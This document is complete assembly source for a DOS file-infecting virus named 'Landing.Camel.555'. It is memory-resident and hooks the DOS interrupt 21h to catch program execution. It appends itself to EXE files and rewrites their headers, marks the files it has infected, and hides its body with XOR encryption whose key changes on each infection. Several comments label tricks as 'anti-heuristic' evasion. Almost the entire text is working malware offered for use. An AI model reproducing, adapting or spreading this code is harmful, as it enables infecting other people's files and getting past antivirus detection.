;==================================================;|
;	LANDING.CAMEL.5.555			   ;|
;==================================================;|
; 	TSR..................... Yes		   ;|
; 	Encrypted............... Yes		   ;|
; 	Appending Virus......... Yes		   ;|
; 	EXE infector............ Yes		   ;|									
; 	Reset Attributes........ Yes		   ;|
; 	Reset Time/Date......... Yes		   ;|
;==================================================;|
 	ORG 0H					   ;|No worries about delta offset
;==================================================;|
	VIRUS_START:				   ;|
;==================================================;|
	CALL FIND_OFFSET			   ;|Calculate the delta offset
;==================================================;|
	FIND_OFFSET:				   ;|
;==================================================;|
	POP	BP				   ;|
	SUB	BP,OFFSET FIND_OFFSET		   ;|BP now contains the delta offset
	PUSH	ES				   ;|
	PUSH	DS				   ;|
	PUSH	CS				   ;|
	PUSH	CS				   ;|
	POP	DS				   ;|
	POP	ES				   ;|
	LEA	AX,[ENCRYPT_DECRYPT+BP]		   ;|Load AX with offset
	CALL	CS:AX				   ;|Decrypt the virus code
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	ENCRYPT_START:				   ;|Start encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	POP	ES				   ;|
	POP	DS				   ;|
;==================================================;|
	INSTALL_CHECK:				   ;|
;==================================================;|
	MOV	AH,2CH				   ;|DOS Function-Get system time
	INT	21H				   ;|Call interrupt
	MOV	BL,DL				   ;|BL=a number from 0-100
	MOV	AH,0BH				   ;|DOS Function
	INT	21H				   ;|Call interrupt
	CMP	AH,00H				   ;|AH=0?
	JNE	INSTALL_START			   ;|No! Install the virus
	ADD	BX,BP				   ;|Account for the offset
	CMP	AL,CS:[BX]			   ;|Do the bytes match?
	JE	INSTALL_FINISH			   ;|Already installed!
;==================================================;|
	INSTALL_START:				   ;|
;==================================================;|
       	PUSH	DS				   ;|Save original DS
	PUSH	ES				   ;|Save original ES        
	MOV	AH,4AH 				   ;|DOS Function-Allocate memory
	MOV	BX,0FFFFH			   ;|A Really big number
	INT	21H				   ;|Call interrupt     
        SUB	BX,(VIRUS_LENGTH+15+1AH)/16+1      ;|Subtract from the total                                            
	MOV	AX,4A00H			   ;|Shrink the block
	INT	21H              		   ;|Call interrupt 
        MOV	AX,4800H 			   ;|Allocate the memory
	MOV	BX,(VIRUS_LENGTH+15+1AH)/16	   ;|Amount to allocate
	INT	21H                  		   ;|Call interrupt
	MOV	ES,AX				   ;|Point ES to the new MCB
	DEC	AX				   ;|AX=MCB     
	MOV	DS,AX				   ;|DS=AX=MCB
        MOV	BYTE PTR DS:[0],'Z'		   ;|Mark the end of the block
	MOV	WORD PTR DS:[1],8		   ;|Identify as a DOS program                                     
        PUSH	CS				   ;|Change to the old segment
	POP	DS                      	   ;|DS=CS
	XOR	DI,DI				   ;|Copy virus to memory
	MOV	CX,(VIRUS_LENGTH+1)/2		   ;|Number of bytes to copy
        LEA     SI,BP		                   ;|Start at the beginning
	REP	MOVSW				   ;|Move DS:[SI] to ES:[DI]
;==================================================;|
	INSTALL_NEW_INT21H:			   ;|
;==================================================;|
	MOV	DS,CX				   ;|Change to the Interrupt Table
	MOV	AX,WORD PTR DS:[21H*4]		   ;|Load the offset of int 21h into AX
	MOV	WORD PTR ES:OLD_INT21H,AX	   ;|Save the offset of int 21h 
	MOV	AX,WORD PTR DS:[21H*4+2]	   ;|Load the segment of int 21h into AX
	MOV	WORD PTR ES:OLD_INT21H+2,AX	   ;|Save the segment of int 21h 
	PUSH	ES				   ;|Save ES
	POP	DS				   ;|Change segment to virus in memory
	MOV	AX,2125H			   ;|DOS Function-Set Interrupt Vector
	XCHG	AH,AL				   ;|Anti-heuristic
	LEA	DX,NEW_INT21H			   ;|Point to our procedure
	INT	21H				   ;|Call interrupt
	POP	ES				   ;|Restore original ES
	POP	DS				   ;|Restore original DS
;==================================================;|
	INSTALL_FINISH:				   ;|
;==================================================;|
	MOV	AX,ES				   ;|AX = PSP
	ADD	AX,10H				   ;|AX = PSP + 10h
	ADD	WORD PTR CS:[BP+_CS],AX		   ;|Save this address in CS:IP
	CLI					   ;|Clear maskable interrupts
	MOV	SP,WORD PTR CS:[BP+_SP]		   ;|Manipulate stack
	ADD	AX,WORD PTR CS:[BP+_SS]		   ;|
	MOV	SS,AX				   ;|Manipulate stack
	STI           				   ;|Restore maskable interrupts
	XOR	AX,AX				   ;|Clear register
	XOR	BX,BX				   ;|Clear register
	CWD					   ;|Clear register
	XOR	BP,BP				   ;|Clear register
	XOR	SI,SI				   ;|Clear register
	XOR	DI,DI				   ;|Clear register    
;==================================================;|
	VIRUS_DATA:			   	   ;|
;==================================================;|
		DB	0EAH			   ;|Jump back to program
	_IP	DW	0H			   ;|Original IP
	_CS	DW	0FFF0H			   ;|Original CS
	_SP	DW	0H			   ;|Original SP
	_SS	DW	0H			   ;|Original SS
	_MSG	DB	'Landing.Camel.555',0	   ;|Virus name and author
;==================================================;|
	NEW_INT21H:				   ;|
;==================================================;|
	CMP	AH,0BH				   ;|Installation check?
	JE 	INSTALLATION_CHECK		   ;|Yes! Lets go do it
	PUSHF					   ;|Save flags
	PUSHA					   ;|Save registers
	PUSH	DS				   ;|Save registers
	PUSH	ES				   ;|Save registers
	CMP	AX,4B00H			   ;|DOS Function-Execute file?
	JE	INFECT_FILE			   ;|Yes! Lets go do it
;==================================================;|
	QUIT:					   ;|
;==================================================;|
	POP	ES				   ;|
	POP	DS				   ;|
	POPA					   ;| 
	POPF				  	   ;|
			DB	0EAH		   ;|Jump far instruction
	OLD_INT21H	DD	?		   ;|Original Int 21h address
;==================================================;|
	INSTALLATION_CHECK:			   ;|
;==================================================;|
	XOR	AH,AH				   ;|Clear AH
	MOV	AL,CS:[BX]			   ;|Move random byte into AL
	IRET                              	   ;| 
;==================================================;|
	INT21H:					   ;|
;==================================================;|
	PUSHF					   ;|Save Flags
	CALL 	DWORD PTR CS:[OLD_INT21H]	   ;|Call Interrupt 21h   
	RET					   ;|Return
;==================================================;|
	INFECT_FILE:				   ;|
;==================================================;|
	MOV	SI,DX				   ;|Load filename from DS:[DX] into DS:[SI]
;==================================================;|
	CHECK_EXTENSION:			   ;|Loop to test extension
;==================================================;|
	LODSB					   ;|Load a byte into AL from DS:[SI]
	OR	AL,AL				   ;|Are we at the end?
	JE	QUIT				   ;|Yes! No extension!
	CMP	AL,"."				   ;|Is it a point?
	JNE	CHECK_EXTENSION			   ;|No! Test the next letter
	LODSW					   ;|Load a word into AX from DS:[SI]
	CMP	AX,"XE"				   ;|Are the first letters EX?
	JNE	QUIT				   ;|No! Quit
	LODSB					   ;|Load a byte into AL from DS:[SI]
	CMP	AL,"E"				   ;|Is the last letter E?
	JNE	QUIT				   ;|No! Quit
	MOV	AX,4300H			   ;|DOS function=Get File Attribute
	XOR	CX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CX				   ;|Save file attribute
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	PUSH	CX				   ;|Save attributes
	XOR	AX,AX				   ;|CX=0 so file attribute is normal file
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	MOV	AX,3D02H			   ;|DOS function=Open a File (Read and Write)
	CALL	INT21H				   ;|DX holds the name of the file
	JC	RESTORE_ATTRIBUTES		   ;|Error opening file!
	XCHG	BX,AX				   ;|Exchange handle        
	MOV 	AX,5700H			   ;|DOS function=Get File Time/Date
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CX				   ;|Save Time
	PUSH	DX				   ;|Save Date
	PUSH	CS				   ;|Change the segment to ours
	POP	DS				   ;|rather than the infectee
	PUSH	CS				   ;|Change the segment to ours
	POP	ES				   ;|rather than the infectee
	MOV	AH,3FH				   ;|DOS function=Read from File
	LEA	DX,_HEADER			   ;|Save the original header
	MOV	CX,1AH				   ;|Read the original header
	CALL	INT21H				   ;|Call original interrupt
	CMP	BYTE PTR _HEADER,'Z'		   ;|Is the first byte a Z?
	JZ	INFECT_EXE			   ;|File is really a .EXE
	CMP	BYTE PTR _HEADER,'M'		   ;|Is the first byte a M?
	JZ	INFECT_EXE			   ;|File is really a .EXE
;==================================================;|
	CLOSE_FILE:		 		   ;|
;==================================================;|
	MOV	AX,5700H			   ;|DOS function=Get File Time/Date
	POP	DX				   ;|CX=original time value
	POP	CX				   ;|DX=original date value
	ADD	AX,1				   ;|DOS function=Set File Time/Date
	CALL	INT21H				   ;|Call original interrupt
	MOV	AH,3EH	                     	   ;|Close file function
	CALL	INT21H				   ;|Call original interrupt
;==================================================;|
	RESTORE_ATTRIBUTES:			   ;|
;==================================================;|
	POP	AX				   ;|Restore attribute
	POP	CX				   ;|Restore attribute
	CALL	INT21H				   ;|Call original interrupt       
	JMP	QUIT				   ;|Leave it all behind
;==================================================;|
	INFECT_EXE:		 		   ;|
;==================================================;|
	CMP	BYTE PTR [_HEADER+18H],"@"	   ;|Is it a windows executable?
	JZ	CLOSE_FILE			   ;|Yes! Lets leave
	CMP	WORD PTR [_HEADER+10H],"LC"	   ;|Is the file already infected?
	JZ	CLOSE_FILE    		  	   ;|Yes! Lets leave
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to end of file (EOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|Call original interrupt
	PUSH	AX				   ;|Save file size
	PUSH	DX				   ;|Save file size
	MOV	CX,WORD PTR [_HEADER+14H]	   ;|Save IP
	MOV	CS:[_IP],CX			   ;|Save IP
	MOV	CX,WORD PTR [_HEADER+16H]	   ;|Save CS
	MOV	CS:[_CS],CX			   ;|Save CS
	MOV	CX,WORD PTR [_HEADER+10H]	   ;|Save SP
	MOV	CS:[_SP],CX			   ;|Save SP
	MOV	CX,WORD PTR [_HEADER+0EH]	   ;|Save SS
	MOV	CS:[_SS],CX			   ;|Save SS
	MOV	CX,WORD PTR [_HEADER+08H]	   ;|Get header length
	SHL	CX,4				   ;|Convert length into bytes
	SUB	AX,CX				   ;|Subtract header size 
	SBB	DX,0				   ;|From file size
	MOV	CX,10H				   ;|Divide the result by paragraphs
	DIV	CX				   ;|to get OFFSET:SEGMENT form
	MOV	WORD PTR [_HEADER+14H],DX	   ;|New IP
	MOV	WORD PTR [_HEADER+16H],AX	   ;|New CS
	MOV	WORD PTR [_HEADER+10H],"LC"	   ;|ID marker for Landing Camel
	POP	DX				   ;|Restore file size
	POP	AX				   ;|Restore file size
	ADD	AX,VIRUS_LENGTH			   ;|Add virus size to
	ADC	DX,0				   ;|the file size
	MOV	CX,200H				   ;|Divide AX by size of page
	DIV	CX				   ;|and put remainder in DX
	OR	DX,DX				   ;|Is there no remainder?
	JZ	WRITE_VIRUS			   ;|Yes! 
	INC	AX				   ;|Increment the number of pages
;==================================================;|
	WRITE_VIRUS:				   ;|
;==================================================;|
	MOV	WORD PTR [_HEADER+02H],DX	   ;|Save number of pages
	MOV	WORD PTR [_HEADER+04H],AX	   ;|Save bytes in the last page
        MOV     AH,2CH                             ;|DOS Function-Get System Time
        CALL    INT21H                             ;|Call original interrupt
        XCHG    CH,CL                              ;|Switch hours with minutes
        ADD     DX,CX                              ;|Add minutes to seconds ...
        XOR     DX,WORD PTR ENCRYPT_KEY            ;|XOR with previous key
        MOV     WORD PTR CS:ENCRYPT_KEY,DX         ;|Save the new key
	XOR	DI,DI				   ;|Start at beginning of the block
	XOR	SI,SI				   ;|Start at beginning of the block
	MOV	AX,08D00H			   ;|Choose a temporary segment
	MOV	ES,AX      			   ;|Now point to it
	MOV	CX,(VIRUS_LENGTH+1)/2		   ;|Number of words to copy
	REP	MOVSW				   ;|Copy the code
	PUSH	ES				   ;|Change the working segment to
	POP	DS				   ;|the freshly copied part
	XOR	BP,BP				   ;|Alter the delta offset
	LEA	AX,ENCRYPT_DECRYPT 		   ;|Load AX with offset
        CALL    CS:AX                              ;|Encrypt the virus code
	LEA	DX,VIRUS_START			   ;|Start copying from beginning
	MOV	AX,VIRUS_LENGTH			   ;|Amount to copy
	MOV	CX,4000H			   ;|DOS Function-Write to file
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CS				   ;|Change the segment
	POP	DS				   ;|to the original file
	MOV	AX,4200H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to beginning of file (BOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|Call original interrupt
	MOV	AX,1AH				   ;|DOS function=Write to File
	MOV	CX,4000H			   ;|Write 1AH bytes to beginning of file
	LEA	DX,_HEADER			   ;|From _HEADER
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt          
	JMP	CLOSE_FILE			   ;|All finished lets go
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	ENCRYPT_END:				   ;|End encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
;==================================================;|
	ENCRYPT_DECRYPT:			   ;|
;==================================================;|
	LEA	SI,[BP+ENCRYPT_START]		   ;|Start from the beginning
	MOV	DI,SI				   ;|Start from the beginning
	MOV	CX,ENCRYPT_LENGTH/2		   ;|How much to encrypt
;==================================================;|
	XOR_LOOP:				   ;|
;==================================================;|
	LODSW					   ;|Load word from SI into AX and INC SI
	JNC	FALSE_JMP1			   ;|Anti-heuristic
;==================================================;|
	FALSE_JMP2:				   ;|
;==================================================;|
	STOSW					   ;|Load word from AX into DI and INC DI
	LOOP	XOR_LOOP			   ;|Loop until finished
	RET					   ;|
;==================================================;|
	FALSE_JMP1:				   ;|
;==================================================;|
			DB	35H		   ;|This means XOR AX,WORD VALUE
	ENCRYPT_KEY	DW 	0000		   ;|Random encryption key
	JNC	FALSE_JMP2			   ;|Anti-heuristic
;==================================================;|
	VIRUS_END:				   ;|
;==================================================;|

	_HEADER DB	1AH DUP (?)		   ;|Original Header

	ENCRYPT_LENGTH	EQU	OFFSET ENCRYPT_END - OFFSET ENCRYPT_START
	VIRUS_LENGTH	EQU	OFFSET VIRUS_END - OFFSET VIRUS_START

	END VIRUS_START
